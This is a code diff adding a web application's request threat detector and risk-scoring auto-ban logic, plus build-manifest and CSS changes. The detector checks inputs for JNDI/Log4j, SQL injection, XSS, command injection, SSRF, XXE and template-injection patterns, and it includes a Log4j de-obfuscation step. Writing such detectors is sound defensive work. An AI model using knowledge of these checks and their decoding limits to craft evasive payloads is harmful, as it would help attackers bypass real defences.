INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
""",
|
||||
(ip, ip_score, now_str, now_str, now_str),
|
||||
)
|
||||
|
||||
if user_id is not None:
|
||||
cursor.execute("SELECT risk_score FROM user_risk_scores WHERE user_id = ?", (int(user_id),))
|
||||
row = cursor.fetchone()
|
||||
current = int(row["risk_score"]) if row else 0
|
||||
user_score = max(0, min(100, current + int(score_delta)))
|
||||
if row:
|
||||
cursor.execute(
|
||||
"UPDATE user_risk_scores SET risk_score = ?, last_seen = ?, updated_at = ? WHERE user_id = ?",
|
||||
(user_score, now_str, now_str, int(user_id)),
|
||||
)
|
||||
else:
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO user_risk_scores (user_id, risk_score, last_seen, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
""",
|
||||
(int(user_id), user_score, now_str, now_str, now_str),
|
||||
)
|
||||
|
||||
return _ScoreUpdateResult(ip_score=ip_score, user_score=user_score)
|
||||
|
||||
def _get_auto_ban_actions(
|
||||
self,
|
||||
cursor,
|
||||
ip: str,
|
||||
user_id: Optional[int],
|
||||
threat_type: str,
|
||||
score: int,
|
||||
update: _ScoreUpdateResult,
|
||||
) -> tuple[Optional["_BanAction"], Optional["_BanAction"]]:
|
||||
ip_action: Optional[_BanAction] = None
|
||||
user_action: Optional[_BanAction] = None
|
||||
|
||||
if threat_type == C.THREAT_TYPE_JNDI_INJECTION:
|
||||
if ip:
|
||||
ip_action = _BanAction(reason="JNDI injection detected", permanent=True)
|
||||
if user_id is not None:
|
||||
user_action = _BanAction(reason="JNDI injection detected", permanent=True)
|
||||
return ip_action, user_action
|
||||
|
||||
if ip and update.ip_score >= 100:
|
||||
ip_action = _BanAction(reason="Risk score reached 100", duration_hours=self.auto_ban_duration_hours)
|
||||
if user_id is not None and update.user_score >= 100:
|
||||
user_action = _BanAction(reason="Risk score reached 100", duration_hours=self.auto_ban_duration_hours)
|
||||
|
||||
if score < self.high_risk_threshold:
|
||||
return ip_action, user_action
|
||||
|
||||
window_start = (get_cst_now() - timedelta(hours=self.high_risk_window_hours)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
if ip:
|
||||
cursor.execute(
|
||||
"""
|
||||
SELECT COUNT(*) AS cnt
|
||||
FROM threat_events
|
||||
WHERE ip = ? AND score >= ? AND created_at >= ?
|
||||
""",
|
||||
(ip, int(self.high_risk_threshold), window_start),
|
||||
)
|
||||
row = cursor.fetchone()
|
||||
cnt = int(row["cnt"]) if row else 0
|
||||
if cnt >= self.high_risk_permanent_ban_count:
|
||||
ip_action = _BanAction(reason="High-risk threats threshold reached", permanent=True)
|
||||
|
||||
if user_id is not None:
|
||||
cursor.execute(
|
||||
"""
|
||||
SELECT COUNT(*) AS cnt
|
||||
FROM threat_events
|
||||
WHERE user_id = ? AND score >= ? AND created_at >= ?
|
||||
""",
|
||||
(int(user_id), int(self.high_risk_threshold), window_start),
|
||||
)
|
||||
row = cursor.fetchone()
|
||||
cnt = int(row["cnt"]) if row else 0
|
||||
if cnt >= self.high_risk_permanent_ban_count:
|
||||
user_action = _BanAction(reason="High-risk threats threshold reached", permanent=True)
|
||||
|
||||
return ip_action, user_action
|
||||
|
||||
def _get_behavior_bonus(self, ip: str, user_id: Optional[int]) -> int:
|
||||
return 0
|
||||
|
||||
def _hours_since(self, dt_str: Optional[str], now) -> int:
|
||||
if not dt_str:
|
||||
return 0
|
||||
try:
|
||||
dt = parse_cst_datetime(str(dt_str))
|
||||
except Exception:
|
||||
return 0
|
||||
seconds = (now - dt).total_seconds()
|
||||
if seconds <= 0:
|
||||
return 0
|
||||
return int(seconds // 3600)
|
||||
|
||||
def _apply_hourly_decay(self, score: int, hours: int) -> int:
|
||||
score_int = max(0, int(score))
|
||||
if score_int <= 0 or hours <= 0:
|
||||
return score_int
|
||||
decayed = int(math.floor(score_int * (0.9**int(hours))))
|
||||
return max(0, min(100, decayed))
|
||||
410
security/threat_detector.py
Normal file
410
security/threat_detector.py
Normal file
@@ -0,0 +1,410 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
from typing import Any, Iterable, List, Optional, Tuple
|
||||
from urllib.parse import unquote_plus
|
||||
|
||||
from . import constants as C
|
||||
|
||||
|
||||
@dataclass
|
||||
class ThreatResult:
|
||||
threat_type: str
|
||||
score: int
|
||||
field_name: str
|
||||
rule: str = ""
|
||||
matched: str = ""
|
||||
value_preview: str = ""
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return {
|
||||
"threat_type": self.threat_type,
|
||||
"score": int(self.score),
|
||||
"field_name": self.field_name,
|
||||
"rule": self.rule,
|
||||
"matched": self.matched,
|
||||
"value_preview": self.value_preview,
|
||||
}
|
||||
|
||||
|
||||
class ThreatDetector:
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
max_value_length: int = 4096,
|
||||
max_decode_rounds: int = 2,
|
||||
) -> None:
|
||||
self.max_value_length = max(64, int(max_value_length))
|
||||
self.max_decode_rounds = max(0, int(max_decode_rounds))
|
||||
|
||||
def scan_input(self, value: Any, field_name: str = "value") -> List[ThreatResult]:
|
||||
"""扫描单个输入值(支持 dict/list 等嵌套结构)。"""
|
||||
results: List[ThreatResult] = []
|
||||
for sub_field, leaf in self._flatten_value(value, field_name):
|
||||
text = self._stringify(leaf)
|
||||
if not text:
|
||||
continue
|
||||
if len(text) > self.max_value_length:
|
||||
text = text[: self.max_value_length]
|
||||
results.extend(self._scan_text(text, sub_field))
|
||||
results.sort(key=lambda r: int(r.score), reverse=True)
|
||||
return results
|
||||
|
||||
def scan_request(self, request: Any) -> List[ThreatResult]:
|
||||
"""扫描整个请求对象(兼容 Flask Request / dict 风格对象)。"""
|
||||
results: List[ThreatResult] = []
|
||||
for field_name, value in self._extract_request_fields(request):
|
||||
results.extend(self.scan_input(value, field_name))
|
||||
results.sort(key=lambda r: int(r.score), reverse=True)
|
||||
return results
|
||||
|
||||
# ==================== Internal scanning ====================
|
||||
|
||||
def _scan_text(self, text: str, field_name: str) -> List[ThreatResult]:
|
||||
hits: List[ThreatResult] = []
|
||||
|
||||
for check in [
|
||||
self._check_jndi_injection,
|
||||
self._check_sql_injection,
|
||||
self._check_xss,
|
||||
self._check_path_traversal,
|
||||
self._check_command_injection,
|
||||
self._check_ssrf,
|
||||
self._check_xxe,
|
||||
self._check_template_injection,
|
||||
self._check_sensitive_path_probe,
|
||||
]:
|
||||
result = check(text)
|
||||
if result:
|
||||
threat_type, score, rule, matched = result
|
||||
hits.append(
|
||||
ThreatResult(
|
||||
threat_type=threat_type,
|
||||
score=int(score),
|
||||
field_name=field_name,
|
||||
rule=rule,
|
||||
matched=matched,
|
||||
value_preview=self._preview(text),
|
||||
)
|
||||
)
|
||||
|
||||
return hits
|
||||
|
||||
def _check_jndi_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
|
||||
# 1) Direct match
|
||||
m = C.JNDI_DIRECT_RE.search(text)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_DIRECT, "JNDI_DIRECT", m.group(0))
|
||||
|
||||
# 2) URL-decoded
|
||||
decoded = self._multi_unquote(text)
|
||||
if decoded != text:
|
||||
m2 = C.JNDI_DIRECT_RE.search(decoded)
|
||||
if m2:
|
||||
return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_DIRECT, "JNDI_DIRECT_URL_DECODED", m2.group(0))
|
||||
|
||||
# 3) Obfuscation patterns (raw/decoded)
|
||||
for candidate, rule in [(text, "JNDI_OBFUSCATED"), (decoded, "JNDI_OBFUSCATED_URL_DECODED")]:
|
||||
m3 = C.JNDI_OBFUSCATED_RE.search(candidate)
|
||||
if m3:
|
||||
return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_OBFUSCATED, rule, m3.group(0))
|
||||
|
||||
# 4) Try limited de-obfuscation to reveal ${jndi:...}
|
||||
deobf = self._deobfuscate_log4j(decoded)
|
||||
if deobf and deobf != decoded:
|
||||
m4 = C.JNDI_DIRECT_RE.search(deobf)
|
||||
if m4:
|
||||
return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_OBFUSCATED, "JNDI_DEOBFUSCATED", m4.group(0))
|
||||
|
||||
# 5) Nested expression heuristic
|
||||
for candidate in [text, decoded]:
|
||||
m5 = C.NESTED_EXPRESSION_RE.search(candidate)
|
||||
if m5:
|
||||
return (C.THREAT_TYPE_NESTED_EXPRESSION, C.SCORE_NESTED_EXPRESSION, "NESTED_EXPRESSION", m5.group(0))
|
||||
|
||||
return None
|
||||
|
||||
def _check_sql_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
|
||||
candidates = [text, self._multi_unquote(text)]
|
||||
for candidate in candidates:
|
||||
m = C.SQLI_UNION_SELECT_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_SQL_INJECTION, C.SCORE_SQL_INJECTION, "SQLI_UNION_SELECT", m.group(0))
|
||||
m = C.SQLI_OR_1_EQ_1_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_SQL_INJECTION, C.SCORE_SQL_INJECTION, "SQLI_OR_1_EQ_1", m.group(0))
|
||||
return None
|
||||
|
||||
def _check_xss(self, text: str) -> Optional[Tuple[str, int, str, str]]:
|
||||
candidates = [text, self._multi_unquote(text)]
|
||||
for candidate in candidates:
|
||||
m = C.XSS_SCRIPT_TAG_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_XSS, C.SCORE_XSS, "XSS_SCRIPT_TAG", m.group(0))
|
||||
m = C.XSS_JS_PROTOCOL_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_XSS, C.SCORE_XSS, "XSS_JS_PROTOCOL", m.group(0))
|
||||
m = C.XSS_INLINE_EVENT_HANDLER_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_XSS, C.SCORE_XSS, "XSS_INLINE_EVENT_HANDLER", m.group(0))
|
||||
return None
|
||||
|
||||
def _check_path_traversal(self, text: str) -> Optional[Tuple[str, int, str, str]]:
|
||||
decoded = self._multi_unquote(text)
|
||||
candidates = [text, decoded]
|
||||
for candidate in candidates:
|
||||
m = C.PATH_TRAVERSAL_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_PATH_TRAVERSAL, C.SCORE_PATH_TRAVERSAL, "PATH_TRAVERSAL", m.group(0))
|
||||
return None
|
||||
|
||||
def _check_command_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
|
||||
decoded = self._multi_unquote(text)
|
||||
candidates = [text, decoded]
|
||||
for candidate in candidates:
|
||||
m = C.CMD_INJECTION_SUBSHELL_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_COMMAND_INJECTION, C.SCORE_COMMAND_INJECTION, "CMD_SUBSHELL", m.group(0))
|
||||
m = C.CMD_INJECTION_OPERATOR_WITH_CMD_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_COMMAND_INJECTION, C.SCORE_COMMAND_INJECTION, "CMD_OPERATOR_WITH_CMD", m.group(0))
|
||||
return None
|
||||
|
||||
def _check_ssrf(self, text: str) -> Optional[Tuple[str, int, str, str]]:
|
||||
decoded = self._multi_unquote(text)
|
||||
candidates: List[Tuple[str, str]] = [(text, "")]
|
||||
if decoded != text:
|
||||
candidates.append((decoded, "_URL_DECODED"))
|
||||
|
||||
for candidate, suffix in candidates:
|
||||
m = C.SSRF_LOCALHOST_URL_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_SSRF, C.SCORE_SSRF, f"SSRF_LOCALHOST{suffix}", m.group(0))
|
||||
m = C.SSRF_INTERNAL_IP_URL_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_SSRF, C.SCORE_SSRF, f"SSRF_INTERNAL_IP{suffix}", m.group(0))
|
||||
m = C.SSRF_DANGEROUS_PROTOCOL_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_SSRF, C.SCORE_SSRF, f"SSRF_DANGEROUS_PROTOCOL{suffix}", m.group(0))
|
||||
|
||||
return None
|
||||
|
||||
def _check_xxe(self, text: str) -> Optional[Tuple[str, int, str, str]]:
|
||||
decoded = self._multi_unquote(text)
|
||||
candidates: List[Tuple[str, str]] = [(text, "")]
|
||||
if decoded != text:
|
||||
candidates.append((decoded, "_URL_DECODED"))
|
||||
|
||||
for candidate, suffix in candidates:
|
||||
m_doctype = C.XXE_DOCTYPE_RE.search(candidate)
|
||||
if not m_doctype:
|
||||
continue
|
||||
m_entity = C.XXE_ENTITY_RE.search(candidate)
|
||||
if not m_entity:
|
||||
continue
|
||||
m_sys_pub = C.XXE_SYSTEM_PUBLIC_RE.search(candidate)
|
||||
if not m_sys_pub:
|
||||
continue
|
||||
matched = f"{m_doctype.group(0)} {m_entity.group(0)} {m_sys_pub.group(0)}"
|
||||
return (C.THREAT_TYPE_XXE, C.SCORE_XXE, f"XXE_KEYWORD_COMBO{suffix}", matched)
|
||||
|
||||
return None
|
||||
|
||||
def _check_template_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
|
||||
decoded = self._multi_unquote(text)
|
||||
candidates: List[Tuple[str, str]] = [(text, "")]
|
||||
if decoded != text:
|
||||
candidates.append((decoded, "_URL_DECODED"))
|
||||
|
||||
for candidate, suffix in candidates:
|
||||
m = C.TEMPLATE_JINJA_EXPR_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_TEMPLATE_INJECTION, C.SCORE_TEMPLATE_INJECTION, f"TEMPLATE_JINJA_EXPR{suffix}", m.group(0))
|
||||
m = C.TEMPLATE_JINJA_STMT_RE.search(candidate)
|
||||
if m:
|
||||
return (C.THREAT_TYPE_TEMPLATE_INJECTION, C.SCORE_TEMPLATE_INJECTION, f"TEMPLATE_JINJA_STMT{suffix}", m.group(0))
|
||||
m = C.TEMPLATE_VELOCITY_DIRECTIVE_RE.search(candidate)
|
||||
if m:
|
||||
return (
|
||||
C.THREAT_TYPE_TEMPLATE_INJECTION,
|
||||
C.SCORE_TEMPLATE_INJECTION,
|
||||
f"TEMPLATE_VELOCITY_DIRECTIVE{suffix}",
|
||||
m.group(0),
|
||||
)
|
||||
|
||||
return None
|
||||
|
||||
def _check_sensitive_path_probe(self, text: str) -> Optional[Tuple[str, int, str, str]]:
|
||||
decoded = self._multi_unquote(text)
|
||||
candidates: List[Tuple[str, str]] = [(text, "")]
|
||||
if decoded != text:
|
||||
candidates.append((decoded, "_URL_DECODED"))
|
||||
|
||||
for candidate, suffix in candidates:
|
||||
m = C.SENSITIVE_PATH_DOTFILES_RE.search(candidate)
|
||||
if m:
|
||||
return (
|
||||
C.THREAT_TYPE_SENSITIVE_PATH_PROBE,
|
||||
C.SCORE_SENSITIVE_PATH_PROBE,
|
||||
f"SENSITIVE_PATH_DOTFILES{suffix}",
|
||||
m.group(0),
|
||||
)
|
||||
m = C.SENSITIVE_PATH_PROBE_RE.search(candidate)
|
||||
if m:
|
||||
return (
|
||||
C.THREAT_TYPE_SENSITIVE_PATH_PROBE,
|
||||
C.SCORE_SENSITIVE_PATH_PROBE,
|
||||
f"SENSITIVE_PATH_PROBE{suffix}",
|
||||
m.group(0),
|
||||
)
|
||||
|
||||
return None
|
||||
|
||||
# ==================== Helpers ====================
|
||||
|
||||
def _preview(self, text: str, limit: int = 160) -> str:
|
||||
s = text.replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t")
|
||||
if len(s) <= limit:
|
||||
return s
|
||||
return s[: limit - 3] + "..."
|
||||
|
||||
def _stringify(self, value: Any) -> str:
|
||||
if value is None:
|
||||
return ""
|
||||
if isinstance(value, bytes):
|
||||
try:
|
||||
return value.decode("utf-8", errors="ignore")
|
||||
except Exception:
|
||||
return ""
|
||||
try:
|
||||
return str(value)
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
def _multi_unquote(self, text: str) -> str:
|
||||
s = text
|
||||
for _ in range(self.max_decode_rounds):
|
||||
try:
|
||||
nxt = unquote_plus(s)
|
||||
except Exception:
|
||||
break
|
||||
if nxt == s:
|
||||
break
|
||||
s = nxt
|
||||
return s
|
||||
|
||||
def _deobfuscate_log4j(self, text: str) -> str:
|
||||
# Replace ${...:-x} with x (including ${::-x}).
|
||||
# This is intentionally conservative to reduce false positives.
|
||||
import re
|
||||
|
||||
s = text
|
||||
pattern = re.compile(r"\$\{[^{}]{0,50}:-([a-zA-Z])\}")
|
||||
for _ in range(3):
|
||||
nxt = pattern.sub(lambda m: m.group(1), s)
|
||||
if nxt == s:
|
||||
break
|
||||
s = nxt
|
||||
return s
|
||||
|
||||
def _flatten_value(self, value: Any, field_name: str) -> Iterable[Tuple[str, Any]]:
|
||||
if isinstance(value, dict):
|
||||
for k, v in value.items():
|
||||
key = self._stringify(k) or "key"
|
||||
sub_name = f"{field_name}.{key}" if field_name else key
|
||||
yield from self._flatten_value(v, sub_name)
|
||||
return
|
||||
if isinstance(value, (list, tuple, set)):
|
||||
for i, v in enumerate(value):
|
||||
sub_name = f"{field_name}[{i}]"
|
||||
yield from self._flatten_value(v, sub_name)
|
||||
return
|
||||
yield (field_name, value)
|
||||
|
||||
def _extract_request_fields(self, request: Any) -> List[Tuple[str, Any]]:
|
||||
# dict-like input (useful for unit tests / non-Flask callers)
|
||||
if isinstance(request, dict):
|
||||
out: List[Tuple[str, Any]] = []
|
||||
for k, v in request.items():
|
||||
out.append((self._stringify(k) or "request", v))
|
||||
return out
|
||||
|
||||
out: List[Tuple[str, Any]] = []
|
||||
|
||||
# path / method
|
||||
for attr_name in ["method", "path", "full_path", "url", "remote_addr"]:
|
||||
try:
|
||||
v = getattr(request, attr_name, None)
|
||||
except Exception:
|
||||
v = None
|
||||
if v:
|
||||
out.append((attr_name, v))
|
||||
|
||||
# args / form (Flask MultiDict)
|
||||
out.extend(self._extract_multidict(getattr(request, "args", None), "args"))
|
||||
out.extend(self._extract_multidict(getattr(request, "form", None), "form"))
|
||||
|
||||
# headers
|
||||
try:
|
||||
headers = getattr(request, "headers", None)
|
||||
if headers is not None:
|
||||
try:
|
||||
items = headers.items()
|
||||
except Exception:
|
||||
items = []
|
||||
for k, v in items:
|
||||
out.append((f"headers.{self._stringify(k)}", v))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# cookies
|
||||
try:
|
||||
cookies = getattr(request, "cookies", None)
|
||||
if isinstance(cookies, dict):
|
||||
for k, v in cookies.items():
|
||||
out.append((f"cookies.{self._stringify(k)}", v))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# json body
|
||||
data = None
|
||||
try:
|
||||
get_json = getattr(request, "get_json", None)
|
||||
if callable(get_json):
|
||||
data = get_json(silent=True)
|
||||
except Exception:
|
||||
data = None
|
||||
|
||||
if data is not None:
|
||||
for name, v in self._flatten_value(data, "json"):
|
||||
out.append((name, v))
|
||||
return out
|
||||
|
||||
# raw body (as a fallback)
|
||||
try:
|
||||
get_data = getattr(request, "get_data", None)
|
||||
if callable(get_data):
|
||||
raw = get_data(cache=True, as_text=True)
|
||||
if raw:
|
||||
out.append(("body", raw))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return out
|
||||
|
||||
def _extract_multidict(self, md: Any, prefix: str) -> List[Tuple[str, Any]]:
|
||||
out: List[Tuple[str, Any]] = []
|
||||
if md is None:
|
||||
return out
|
||||
try:
|
||||
items = md.items(multi=True)
|
||||
except Exception:
|
||||
try:
|
||||
items = md.items()
|
||||
except Exception:
|
||||
return out
|
||||
for k, v in items:
|
||||
out.append((f"{prefix}.{self._stringify(k)}", v))
|
||||
return out
|
||||
@@ -1,34 +1,34 @@
|
||||
{
|
||||
"_email-BsKBHU5S.js": {
|
||||
"file": "assets/email-BsKBHU5S.js",
|
||||
"_email-BghJNgj1.js": {
|
||||
"file": "assets/email-BghJNgj1.js",
|
||||
"name": "email",
|
||||
"imports": [
|
||||
"index.html"
|
||||
]
|
||||
},
|
||||
"_tasks-DpslJtm_.js": {
|
||||
"file": "assets/tasks-DpslJtm_.js",
|
||||
"_tasks-Cx_Yf55V.js": {
|
||||
"file": "assets/tasks-Cx_Yf55V.js",
|
||||
"name": "tasks",
|
||||
"imports": [
|
||||
"index.html"
|
||||
]
|
||||
},
|
||||
"_update-DcFD-YxU.js": {
|
||||
"file": "assets/update-DcFD-YxU.js",
|
||||
"_update-D34iQbO6.js": {
|
||||
"file": "assets/update-D34iQbO6.js",
|
||||
"name": "update",
|
||||
"imports": [
|
||||
"index.html"
|
||||
]
|
||||
},
|
||||
"_users-CC9BckjT.js": {
|
||||
"file": "assets/users-CC9BckjT.js",
|
||||
"_users-DCcrmSwH.js": {
|
||||
"file": "assets/users-DCcrmSwH.js",
|
||||
"name": "users",
|
||||
"imports": [
|
||||
"index.html"
|
||||
]
|
||||
},
|
||||
"index.html": {
|
||||
"file": "assets/index-CdjS44Uj.js",
|
||||
"file": "assets/index-C9w-iZIr.js",
|
||||
"name": "index",
|
||||
"src": "index.html",
|
||||
"isEntry": true,
|
||||
@@ -39,15 +39,16 @@
|
||||
"src/pages/LogsPage.vue",
|
||||
"src/pages/AnnouncementsPage.vue",
|
||||
"src/pages/EmailPage.vue",
|
||||
"src/pages/SecurityPage.vue",
|
||||
"src/pages/SystemPage.vue",
|
||||
"src/pages/SettingsPage.vue"
|
||||
],
|
||||
"css": [
|
||||
"assets/index-EWm4DZW8.css"
|
||||
"assets/index-_5Ec1Hmd.css"
|
||||
]
|
||||
},
|
||||
"src/pages/AnnouncementsPage.vue": {
|
||||
"file": "assets/AnnouncementsPage-Djmq3Wb7.js",
|
||||
"file": "assets/AnnouncementsPage-DEX_yASt.js",
|
||||
"name": "AnnouncementsPage",
|
||||
"src": "src/pages/AnnouncementsPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
@@ -59,20 +60,20 @@
|
||||
]
|
||||
},
|
||||
"src/pages/EmailPage.vue": {
|
||||
"file": "assets/EmailPage-q6nJlTue.js",
|
||||
"file": "assets/EmailPage-Cev_X_Ce.js",
|
||||
"name": "EmailPage",
|
||||
"src": "src/pages/EmailPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"_email-BsKBHU5S.js",
|
||||
"_email-BghJNgj1.js",
|
||||
"index.html"
|
||||
],
|
||||
"css": [
|
||||
"assets/EmailPage-BxzHc6tN.css"
|
||||
"assets/EmailPage-BH6ksrcc.css"
|
||||
]
|
||||
},
|
||||
"src/pages/FeedbacksPage.vue": {
|
||||
"file": "assets/FeedbacksPage-Drw6uvSR.js",
|
||||
"file": "assets/FeedbacksPage-BKxylUkG.js",
|
||||
"name": "FeedbacksPage",
|
||||
"src": "src/pages/FeedbacksPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
@@ -84,13 +85,13 @@
|
||||
]
|
||||
},
|
||||
"src/pages/LogsPage.vue": {
|
||||
"file": "assets/LogsPage-DQd9IS3I.js",
|
||||
"file": "assets/LogsPage-CemQ-Y_T.js",
|
||||
"name": "LogsPage",
|
||||
"src": "src/pages/LogsPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"_users-CC9BckjT.js",
|
||||
"_tasks-DpslJtm_.js",
|
||||
"_users-DCcrmSwH.js",
|
||||
"_tasks-Cx_Yf55V.js",
|
||||
"index.html"
|
||||
],
|
||||
"css": [
|
||||
@@ -98,22 +99,34 @@
|
||||
]
|
||||
},
|
||||
"src/pages/ReportPage.vue": {
|
||||
"file": "assets/ReportPage-Dnk3wsl3.js",
|
||||
"file": "assets/ReportPage-D6vDD1zK.js",
|
||||
"name": "ReportPage",
|
||||
"src": "src/pages/ReportPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"index.html",
|
||||
"_email-BsKBHU5S.js",
|
||||
"_tasks-DpslJtm_.js",
|
||||
"_update-DcFD-YxU.js"
|
||||
"_email-BghJNgj1.js",
|
||||
"_tasks-Cx_Yf55V.js",
|
||||
"_update-D34iQbO6.js"
|
||||
],
|
||||
"css": [
|
||||
"assets/ReportPage-TpqQWWvU.css"
|
||||
"assets/ReportPage-CSbGJlZV.css"
|
||||
]
|
||||
},
|
||||
"src/pages/SecurityPage.vue": {
|
||||
"file": "assets/SecurityPage-DGvsGoGa.js",
|
||||
"name": "SecurityPage",
|
||||
"src": "src/pages/SecurityPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"index.html"
|
||||
],
|
||||
"css": [
|
||||
"assets/SecurityPage-CH3QeiaV.css"
|
||||
]
|
||||
},
|
||||
"src/pages/SettingsPage.vue": {
|
||||
"file": "assets/SettingsPage-YOW1Apwk.js",
|
||||
"file": "assets/SettingsPage-Bw1ItHlK.js",
|
||||
"name": "SettingsPage",
|
||||
"src": "src/pages/SettingsPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
@@ -125,12 +138,12 @@
|
||||
]
|
||||
},
|
||||
"src/pages/SystemPage.vue": {
|
||||
"file": "assets/SystemPage-DCcH_SAQ.js",
|
||||
"file": "assets/SystemPage-RgAQwtHu.js",
|
||||
"name": "SystemPage",
|
||||
"src": "src/pages/SystemPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"_update-DcFD-YxU.js",
|
||||
"_update-D34iQbO6.js",
|
||||
"index.html"
|
||||
],
|
||||
"css": [
|
||||
@@ -138,16 +151,16 @@
|
||||
]
|
||||
},
|
||||
"src/pages/UsersPage.vue": {
|
||||
"file": "assets/UsersPage-DhTO_5zp.js",
|
||||
"file": "assets/UsersPage-CFbr6Y3k.js",
|
||||
"name": "UsersPage",
|
||||
"src": "src/pages/UsersPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"_users-CC9BckjT.js",
|
||||
"_users-DCcrmSwH.js",
|
||||
"index.html"
|
||||
],
|
||||
"css": [
|
||||
"assets/UsersPage-CbiPbpuj.css"
|
||||
"assets/UsersPage-CC4Unpwt.css"
|
||||
]
|
||||
}
|
||||
}
|
||||
1
static/admin/assets/AnnouncementsPage-DEX_yASt.js
Normal file
1
static/admin/assets/AnnouncementsPage-DEX_yASt.js
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
1
static/admin/assets/EmailPage-BH6ksrcc.css
Normal file
1
static/admin/assets/EmailPage-BH6ksrcc.css
Normal file
@@ -0,0 +1 @@
|
||||
.page-stack[data-v-7a7e1e9d]{display:flex;flex-direction:column;gap:12px}.toolbar[data-v-7a7e1e9d]{display:flex;gap:10px;align-items:center;flex-wrap:wrap}.card[data-v-7a7e1e9d]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.section-head[data-v-7a7e1e9d]{display:flex;align-items:baseline;justify-content:space-between;gap:12px;margin-bottom:12px;flex-wrap:wrap}.section-title[data-v-7a7e1e9d]{margin:0;font-size:14px;font-weight:800}.help[data-v-7a7e1e9d]{margin-top:8px;font-size:12px;color:var(--app-muted)}.table-wrap[data-v-7a7e1e9d]{overflow-x:auto}.stat-card[data-v-7a7e1e9d]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.stat-value[data-v-7a7e1e9d]{font-size:20px;font-weight:900;line-height:1.1}.stat-label[data-v-7a7e1e9d]{margin-top:6px;font-size:12px;color:var(--app-muted)}.ok[data-v-7a7e1e9d]{color:#047857}.err[data-v-7a7e1e9d]{color:#b91c1c}.sub-stats[data-v-7a7e1e9d]{display:flex;flex-wrap:wrap;gap:8px;margin-top:12px}.ellipsis[data-v-7a7e1e9d]{display:inline-block;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.pagination[data-v-7a7e1e9d]{display:flex;align-items:center;justify-content:space-between;gap:10px;margin-top:14px;flex-wrap:wrap}.page-hint[data-v-7a7e1e9d]{font-size:12px}.dialog-actions[data-v-7a7e1e9d]{display:flex;align-items:center;gap:10px;flex-wrap:wrap}.spacer[data-v-7a7e1e9d]{flex:1}
|
||||
@@ -1 +0,0 @@
|
||||
.page-stack[data-v-ff849557]{display:flex;flex-direction:column;gap:12px}.toolbar[data-v-ff849557]{display:flex;gap:10px;align-items:center;flex-wrap:wrap}.card[data-v-ff849557]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.section-head[data-v-ff849557]{display:flex;align-items:baseline;justify-content:space-between;gap:12px;margin-bottom:12px;flex-wrap:wrap}.section-title[data-v-ff849557]{margin:0;font-size:14px;font-weight:800}.help[data-v-ff849557]{margin-top:8px;font-size:12px;color:var(--app-muted)}.table-wrap[data-v-ff849557]{overflow-x:auto}.stat-card[data-v-ff849557]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.stat-value[data-v-ff849557]{font-size:20px;font-weight:900;line-height:1.1}.stat-label[data-v-ff849557]{margin-top:6px;font-size:12px;color:var(--app-muted)}.ok[data-v-ff849557]{color:#047857}.err[data-v-ff849557]{color:#b91c1c}.sub-stats[data-v-ff849557]{display:flex;flex-wrap:wrap;gap:8px;margin-top:12px}.ellipsis[data-v-ff849557]{display:inline-block;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.pagination[data-v-ff849557]{display:flex;align-items:center;justify-content:space-between;gap:10px;margin-top:14px;flex-wrap:wrap}.page-hint[data-v-ff849557]{font-size:12px}.dialog-actions[data-v-ff849557]{display:flex;align-items:center;gap:10px;flex-wrap:wrap}.spacer[data-v-ff849557]{flex:1}
|
||||
1
static/admin/assets/EmailPage-Cev_X_Ce.js
Normal file
1
